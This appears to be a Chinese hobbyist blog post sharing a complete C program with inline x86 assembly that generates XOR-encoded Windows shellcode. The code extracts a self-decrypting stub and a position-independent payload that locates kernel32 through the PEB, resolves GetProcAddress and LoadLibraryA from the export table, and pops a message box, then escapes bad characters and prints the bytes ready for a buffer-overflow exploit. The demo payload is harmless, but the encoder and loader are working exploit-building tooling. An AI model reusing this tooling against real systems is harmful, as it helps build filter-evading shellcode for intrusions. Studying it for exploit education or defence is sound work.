之前在网上找到的那个程序里面有一些BUG
并且不是自己的程序,看着十分不爽
于是自己尝试着仿照着写了一个
实验了一下,能够正确运行(写了好久,其中各种蛋疼就不说了,相对最后成功的喜悦这些都不算什么)
代码有点长,我也懒得划分结构了
(其实是我不知道怎么划分结构,每次写的代码都奇丑无比,囧)
直接粘上去吧(程序运行,打印出的Shellcode最后要加上一个"\0"才能使用,因为解密是以"\0"作为结束标志的):
1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 #include <windows.h> 5 6 //#define Debug 1; 7 8 #define Enc_key 0x7A //编码密钥 9 #define FLAG_AVOID 0x30 //需要回避的字符的标记 10 11 #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\ 12 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 13 #define PROC_END PROC_BEGIN 14 #define BEGINSTRLEN 0x08 //开始字符串长度 15 #define ENDSTRLEN 0x08 //结束标记字符的长度 16 #define nop_CODE 0x90 //填充字符 17 18 #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够? 19 #define MAX_Sh_Len 0x2000 //hellCode的最大长度 8192足够? 20 21 #define MY_SUCCEED 0 22 #define MY_NO_BEGIN 1 23 #define MY_NO_END 2 24 #define MY_MALLOC_ERR 3 25 26 #define MY_AVOID 0 27 #define MY_NO_AVOID 1 28 29 void Dcrypt(void); 30 void Shellcode(void); 31 32 //将函数func的代码放到buffer指向的内存中 33 //其中buffer指向的内存是动态分配的 34 //func_len指向buffer的长度 35 int get_func_code(char** buffer,//存放func的代码 36 char* fun, //函数首地址 37 int* func_len //指向buffer长度 38 ); 39 40 //打印对应的错误信息 41 void print_iRet(int iRet, char* func_name); 42 43 int is_legal(char ch);//判断一个字符是否要回避 44 45 int Encrypt_Shell(char** buffer,//存放加密过后的字节码 46 char* fun, //原Shellcode的字节码 47 int old_len,//原Shellcode的长度 48 int* new_len //加密后字节码的长度 49 ); 50 void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 51 52 int main(int argc, char* argv[]) 53 { 54 //取得加密函数字节码 55 int Dcrypt_len = 0; 56 char* Dcrypt_buffer = NULL; 57 int iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len); 58 print_iRet(iRet, "Dcrypt字节码"); 59 60 //取得Shellcode字节码 61 int Shell_len = 0; 62 char* Shell_buffer = NULL; 63 iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len); 64 print_iRet(iRet, "Shellcode原始字节码"); 65 66 //将Shellcode字节码加密 67 char* Shell_Encrypt_buffer = NULL; 68 int Shell_Encrypt_len = 0; 69 iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len); 70 print_iRet(iRet, "Shellcode加密后的字节码"); 71 72 //打印整体Shellcode的字节码 73 char* print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len); 74 memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len); 75 free(Dcrypt_buffer); 76 memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len); 77 free(Shell_buffer); 78 free(Shell_Encrypt_buffer); 79 my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len); 80 free(print_buffer); 81 return 0; 82 } 83 84 void Dcrypt(void) 85 { 86 PROC_BEGIN 87 __asm 88 { 89 pushad 90 jmp next 91 getEncCodeAddr: 92 pop edi 93 push edi 94 pop esi 95 xor ecx,ecx 96 Decrypt_lop: 97 lodsb 98 cmp al,cl 99 jz save 100 cmp al,0x30 //判断是否为特殊字符 101 jz special_char_clean 102 store: 103 xor al,Enc_key 104 stosb 105 jmp Decrypt_lop 106 special_char_clean: 107 lodsb 108 sub al,0x31 109 jmp store 110 save: 111 popad 112 jmp shell 113 next: 114 call getEncCodeAddr 115 shell: 116 //其余真正加密的shellcode代码会连接在此处 117 } 118 PROC_END 119 } 120 121 void Shellcode(void) 122 { 123 PROC_BEGIN 124 #ifdef Debug 125 __asm _emit 0x1 126 __asm _emit 0x2 127 #endif 128 129 #ifndef Debug 130 131 void* hkernerl32 = NULL; 132 void* huser32 = NULL; 133 void* pGetProcAddress = NULL; 134 void* pLoadLibrary = NULL; 135 void* pMessageBoxA = NULL; 136 137 /* char strLoadLibrary[] = "LoadLibraryA"; 138 char struser32[] = "user32.dll"; 139 char strMessageBoxA[] = "MessageBoxA"; 140 char pText[] = "你被溢出了!"; 141 char pCaption[] = "xiaoma"; */ 142 //LoadLibrary("kernel32"); 143 _asm 144 { 145 //保存寄存器 146 pushad; 147 148 //获得kernerl32基地址 149 mov eax, fs:0x30 ;PEB的地址 150 mov eax, [eax + 0x0c] ;Ldr的地址 151 mov esi, [eax + 0x1c] ;Flink地址 152 lodsd 153 mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址 154 mov hkernerl32,eax; 155 156 //获得GetProcAddress地址 157 push ebp; 158 mov ebp, hkernerl32 ;kernel32.dll 基址 159 mov eax, [ebp+3Ch] ;eax = PE首部 160 mov edx,[ebp+eax+78h] 161 add edx,ebp ;edx = 引出表地址 162 mov ecx , [edx+18h] ;ecx = 输出函数的个数 163 mov ebx,[edx+20h] 164 add ebx, ebp ;ebx =函数名地址,AddressOfName 165 search: 166 dec ecx 167 mov esi,[ebx+ecx*4] 168 add esi,ebp ;依次找每个函数名称 169 ;GetProcAddress 170 mov eax,0x50746547 171 cmp [esi], eax; 'PteG' 172 jne search 173 mov eax,0x41636f72 174 cmp [esi+4],eax; 'Acor' 175 jne search 176 ;如果是GetProcA,表示找到了 177 mov ebx,[edx+24h] 178 add ebx,ebp ;ebx = 序号数组地址,AddressOf 179 mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值 180 mov ebx,[edx+1Ch] 181 add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction 182 mov eax,[ebx+ecx*4] 183 add eax,ebp ;利用序号值,得到出GetProcAddress的地址 184 pop ebp; 185 mov pGetProcAddress,eax; 186 187 //获得LoadLibraryA地址 188 //push strLoadLibrary;"LoadLibraryA" 189 call _getLoadLib 190 _emit 0x4C 191 _emit 0x6F 192 _emit 0x61 193 _emit 0x64 194 _emit 0x4C 195 _emit 0x69 196 _emit 0x62 197 _emit 0x72 198 _emit 0x61 199 _emit 0x72 200 _emit 0x79 201 _emit 0x41 202 _emit 0x0 203 //db "LoadLibraryA",0 204 _getLoadLib: 205 push hkernerl32; 206 mov eax,pGetProcAddress; 207 call eax; GetProcAddress 208 mov pLoadLibrary,eax; 209 pop eax; 210 pop eax; 平衡堆栈 211 212 //下面是自己的实验 213 //MessageBoxA(NULL, "你被溢出了!", "xiaoma", MB_OK) 214 //push struser32; 215 call _getUser 216 _emit 0x75 217 _emit 0x73 218 _emit 0x65 219 _emit 0x72 220 _emit 0x33 221 _emit 0x32 222 _emit 0x2E 223 _emit 0x64 224 _emit 0x6C 225 _emit 0x6C 226 _emit 0x0 227 _getUser: 228 mov eax,pLoadLibrary; 229 call eax; 230 mov huser32,eax; 231 pop eax; 232 233 //push strMessageBoxA;"MessageBoxA" 234 call _getMessage 235 _emit 0x4D 236 _emit 0x65 237 _emit 0x73 238 _emit 0x73 239 _emit 0x61 240 _emit 0x67 241 _emit 0x65 242 _emit 0x42 243 _emit 0x6F 244 _emit 0x78 245 _emit 0x41 246 _emit 0x0 247 _getMessage: 248 push huser32; 249 mov eax,pGetProcAddress; 250 call eax; GetProcAddress 251 mov pMessageBoxA,eax; 252 pop eax; 253 pop eax; 平衡堆栈 254 255 call _getCaption 256 _emit 0x78 257 _emit 0x69 258 _emit 0x61 259 _emit 0x6F 260 _emit 0x6D 261 _emit 0x61 262 _emit 0x0 263 _getCaption: 264 pop edi; 265 call _getText 266 _emit 0xC4 267 _emit 0xE3 268 _emit 0xB1 269 _emit 0xBB 270 _emit 0xD2 271 _emit 0xE7 272 _emit 0xB3 273 _emit 0xF6 274 _emit 0xC1 275 _emit 0xCB 276 _emit 0x7E 277 _emit 0xA3 278 _emit 0xA1 279 _emit 0x0 280 _getText: 281 pop esi; 282 push MB_OK; 283 push edi; 284 push esi; 285 push 0h; 286 mov eax,pMessageBoxA; 287 call eax; 288 pop eax; 289 pop eax; 290 pop eax; 291 pop eax; 292 293 //恢复寄存器 294 popad; 295 } 296 #endif 297 PROC_END 298 } 299 300 int Encrypt_Shell(char** buffer, char* fun, int old_len, int* new_len) 301 { 302 *buffer = (char*)malloc(2 * old_len); 303 if (*buffer == NULL) 304 { 305 return MY_MALLOC_ERR; 306 } 307 int i = 0, k = 0; 308 char ch = 0; 309 for (i = 0; i < old_len; i++) 310 { 311 ch = (*(fun + i)) ^ Enc_key; 312 if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避 313 { 314 *(*buffer + k) = '0'; 315 k++; 316 ch += 0x31; 317 } 318 *(*buffer + k) = ch; 319 k++; 320 } 321 *new_len = k; 322 return(MY_SUCCEED); 323 } 324 325 int get_func_code(char** buffer, char* fun, int* func_len) 326 { 327 //返回码: 328 int i = 0; 329 char* func_begin = fun; 330 char* func_end = NULL; 331 char* fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记开始的字符串 332 char* fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记结束的字符串 333 334 //处理DEBUG版本里面的跳转表 335 /*char ch = *func_begin; 336 char temp = 0xE9;*/ 337 if (*func_begin == (char)0xE9) 338 { 339 func_begin++; 340 i = *(int*)func_begin; 341 func_begin += (i+4); 342 } 343 344 //通过寻找开始的标记 345 //找到解码部分的开头地址 346 for (i = 0; i < MAX_Enc_Len; i++) 347 { 348 if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0) 349 { 350 break; 351 } 352 } 353 if (i < MAX_Enc_Len) 354 { 355 func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码 356 } 357 else 358 { 359 return MY_NO_BEGIN; //没找到开始的标记 360 } 361 362 //通过寻找结尾的标记 363 //找到解码部分的结束地址 364 i = 0; 365 for (func_end = func_begin; i < MAX_Enc_Len; i++) 366 { 367 if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0) 368 { 369 break; 370 } 371 } 372 if (i < MAX_Enc_Len) 373 { 374 func_end += i;//定位到结尾处的代码 375 } 376 else 377 { 378 return MY_NO_END;//没找到结尾的标记 379 } 380 381 *func_len = func_end - func_begin;//解码部分代码长度 382 383 *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码 384 if (*buffer == NULL) 385 { 386 return MY_MALLOC_ERR; 387 } 388 memcpy(*buffer, func_begin, *func_len); 389 390 return MY_SUCCEED; 391 } 392 393 void print_iRet(int iRet, char* func_name) 394 { 395 switch (iRet) 396 { 397 case MY_SUCCEED: 398 printf("获取%s成功!\n",func_name); 399 break; 400 case MY_NO_BEGIN: 401 printf("无法找到%s的头部标记!\n程序退出\n",func_name); 402 exit(1); 403 break;//不会执行到 404 case MY_NO_END: 405 printf("无法找到%s的尾部标记!\n程序退出\n",func_name); 406 exit(1); 407 break;//不会执行到 408 case MY_MALLOC_ERR: 409 printf("在获取%s字节码的时候分配内存错误!\n程序退出\n",func_name); 410 exit(1); 411 break; 412 default: 413 puts("未知的返回码!\n程序退出\n"); 414 exit(1); 415 break; 416 } 417 } 418 419 int is_legal(char ch) 420 { 421 if (ch==0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+'||ch=='\0') 422 { 423 return MY_AVOID;//需要替换 424 } 425 return MY_NO_AVOID; //不需要替换 426 } 427 428 void my_print_Shellcode(char* Shellcode, int len) 429 { 430 int i = 0, k = 0; 431 for (i = 0; i < len; i++) 432 { 433 if (k == 0) 434 { 435 putchar('"'); 436 } 437 printf("\\x%.2X", (unsigned char)Shellcode[i]); 438 k++; 439 if (k == 16) 440 { 441 putchar('"'); 442 putchar('\n'); 443 k = 0; 444 } 445 } 446 if (k != 16) 447 { 448 puts("\"\n"); 449 } 450 }